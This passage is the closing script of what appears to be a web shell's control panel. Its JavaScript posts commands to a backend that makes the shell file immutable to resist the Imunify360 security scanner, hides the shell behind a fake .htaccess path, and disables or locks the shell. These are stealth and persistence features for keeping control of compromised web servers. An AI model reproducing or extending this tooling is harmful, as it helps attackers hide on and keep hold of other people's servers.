    var el=document.createElement('textarea'); el.value=t;
    document.body.appendChild(el); el.select();
    document.execCommand('copy'); document.body.removeChild(el);
    alert('Copied!');
}

// Chmod / Rename helpers
function doCh(path,cur){ document.getElementById('ch_path').value=path; document.getElementById('ch_val').value=cur; SM('ch_modal'); }
function doRn(path,name){ document.getElementById('rn_from').value=path; document.getElementById('rn_to').value=name; SM('rn_modal'); }

// Utils
function V(id){ return document.getElementById(id).value; }
function esc(s){ var d=document.createElement('div'); d.appendChild(document.createTextNode(String(s||''))); return d.innerHTML; }

function postJ(data, cb, url){
    post(data, function(r){ try{ cb(JSON.parse(r)); }catch(e){ cb({ok:false,msg:r}); } }, url);
}

// chattr (Imunify360 protection)
function doChattr(act){
    var out=document.getElementById('chattr_out');
    out.style.display='block'; out.textContent='Processing...';
    var data={_chattr: act};
    if(act==='unset'){
        var pw=document.getElementById('protect_pw').value;
        if(!pw){out.style.color='#f85149';out.textContent='❌ Enter protection password.';return;}
        data._protect_pw=pw;
    }
    postJ(data, function(r){
        if(act==='check'){
            out.style.color = r.immutable ? '#f0883e' : '#8b949e';
        } else {
            out.style.color = r.ok ? (act==='set' ? '#f0883e' : '#3fb950') : '#f85149';
        }
        out.textContent = r.msg + (r.lsattr ? '\nlsattr: '+r.lsattr : '');
    });
}

// Shell State (disable/enable)
function doShellState(act){
    var out=document.getElementById('state_out')||document.getElementById('checklist_out');
    out.style.display='block'; out.textContent='Processing...';
    postJ({_shell_state: act}, function(r){
        out.style.color = r.ok ? (act==='enable' ? '#3fb950' : '#f0883e') : '#f85149';
        out.textContent = r.msg;
    });
}

// .htaccess Stealth URL
function doHtStealth(){
    var out=document.getElementById('htst_out');
    out.style.display='block'; out.textContent='Processing...';
    postJ({_htaccess_stealth:1, _fake_path:V('fake_path')}, function(r){
        out.style.color=r.ok?'#3fb950':'#f85149';
        out.textContent=(r.ok?'✅ ':'❌ ')+r.msg+(r.rule?'\n\n'+r.rule:'');
    });
}

// Lock Shell
function doLockShell(act, outId){
    var out=document.getElementById(outId||'lock_out');
    out.style.display='block'; out.textContent='Processing...';
    postJ({_lock_shell: act}, function(r){
        out.style.color = r.ok ? '#3fb950' : '#f85149';
        out.textContent = r.msg;
    });
}

</script>
</body>
</html>

Cancel